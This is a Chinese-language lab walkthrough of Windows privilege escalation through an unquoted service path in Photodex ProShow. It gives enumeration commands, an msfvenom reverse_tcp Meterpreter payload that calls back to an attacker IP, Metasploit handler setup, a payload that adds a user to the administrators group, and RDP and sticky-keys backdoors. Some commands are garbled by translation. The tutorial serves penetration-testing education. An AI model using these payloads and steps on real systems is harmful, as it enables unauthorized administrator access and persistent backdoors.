导语:在本文中,我们将通过Unquoted service Path演示Windows权限提升。在渗透测试中,当我们将命令shell作为本地用户生成时,是无法检查受限文件或文件夹的,因此我们需要升级权限才能获得管理员访问权限。

在本文中,我们将通过Unquoted service Path演示Windows权限提升。在渗透测试中,当我们将命令shell作为本地用户生成时,是无法检查受限文件或文件夹的,因此我们需要升级权限才能获得管理员访问权限。

主要内容:

1.介绍

2.实验环境

3.使用Spawn命令shell作为本地用户

4.通过Prepend-migrate升级的权限

5.通过添加用户管理员组升级的权限

6.通过RDP和Sticky_keys升级的权限

下面正式开始! 

介绍

不带引号的服务路径漏洞

该漏洞与文件名中包含空格的可执行文件的路径相关,文件名未包含在引号标记(“”)中。此外,如果它具有可写权限,则攻击者可以用其恶意exe文件替换可执行文件,以便升级管理员权限。

实验环境

受害者的机器:Windows 7

攻击者的机器:Kali Linux

首先,我们在Windows系统中下载并安装一个名为photodex proshow的漏洞应用程序,我们可以在Exploit DB下找到了它。

8.png8.png 

接下来我们向受害者的机器进行初次攻击,我们需要至少对Windows机器进行一次妥协才能获得计时器会话。如你所见,我们已经有受害者的metrepreter会话。现在让我们从这里打开命令shell。

 9.png 

正如您所看到的,我们将shell访问作为local_user,并以管理员身份获取cmd,我们需要升级其权限。首先,我们可以枚举受害者机器上运行的所有服务,并通过以下命令发现那些没有限制在引号标签内的服务:

wmic service get name,displayname,pathname,startmode | findstr / i“auto”| findstr / i / v“c:\ windows \\”| findstr / i / v“”“

所以我们列举了以下路径:C:\ Program Files \ Photodex \ ProShow Producer \ Scsiaccess.exe,你可以看到路径周围没有引号标签,文件名中也没有空格。

 10.1.png

现在让我们使用以下命令识别文件夹权限:

icacls Scsiaccess.exe

正如您所看到的,它对每个人都有可写权限,这意味着用户raj可以覆盖此文件。

10.png

通过Prepend-migrate升级的权限

现在我们可以将任何恶意exe文件放在同一文件夹中,当重新启动服务时,该文件将赋予管理员权限,Windows将启动此可执行文件而不是正版exe。

在kali Linux中打开终端并输入以下命令以使用msfvenom生成exe有效负载。

msfvenom -p windows / meterpreter / reverse_tcp lhost = 192.168.1.107 lport = 1234 prependmigrate = true prepenmigrateprocess = explorer.exe -f exe> /root/Desktop/scsiaccess.exe

上面的命令将在桌面上创建恶意exe文件,现在将此文件发送给受害者。如果当前进程被杀死,有效负载将迁移其进程;因此,如果受害者从其系统中杀死有效载荷的当前进程ID,攻击者将不会丢失其会话。

11.png 

现在从恶意exe替换正版可执行文件,在这里我已经将Scsiaccess.exe真正重命名为Scsiaccess.exe.org并将恶意Scsiaccess.exe上传到同一个文件夹中,然后重启受害者的机器。

move scsiaccess.exe scsiaccess.exe.orginalupload /root/Desktop/ scsiaccess.exereboot

12.png

同时我们在新终端中启动多/处理程序侦听器以使用管理员权限捕获meterpreter会话。

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit

好的,过一段时间后,我们就获得了具有管理员权限的shell。

图片1.png 

通过添加用户管理员组升级的权限

在将shell生成为local_user之后,我们枚举了具有或不具有管理员权限的所有用户名列表。所以我们找到了用户:raaz不是admin组的成员。

net usernet user raaz

14.png

所以我们再次生成了一个exe文件,它将用户:raaz添加到管理员组中。我们的exe文件的名称将是相同的,即Scsiaccess.exe 

msfvenom -p windows / exec CMD ='net localgroup administrators raaz / add'-f exe> /root/Desktop/scsiaccess.exe

15.png 

现在重复上述步骤,从applesi中替换正版可执行文件

16.png

如果您注意以下图片,就会发现用户raaz已成为Administrators组的成员。

17.png

通过RDP和Sticky_keys升级的权限

使用类似名称Scsiaccess.exe的msfvenom生成exe,然后转移到受害者的机器,同时使用自动运行脚本运行多处理程序,一旦服务重新启动,将启用RDP服务。

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit

 QQ截图20180823004738.png

同样,我们将设置自动运行脚本,以便在服务重新启动后启用sticky_keys。

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run

 从下面的屏幕截图中可以看出,另一个具有管理权限的计时器会话(会话3)已经打开。现在让我们通过RDP连接到受害者的主机。

rdp 192.168.1.101

24.png 

好了!现在连续按下shift_key 5次,您就可以以管理员身份来获得命令提示符了。

25.png

源链接

Hacking more

...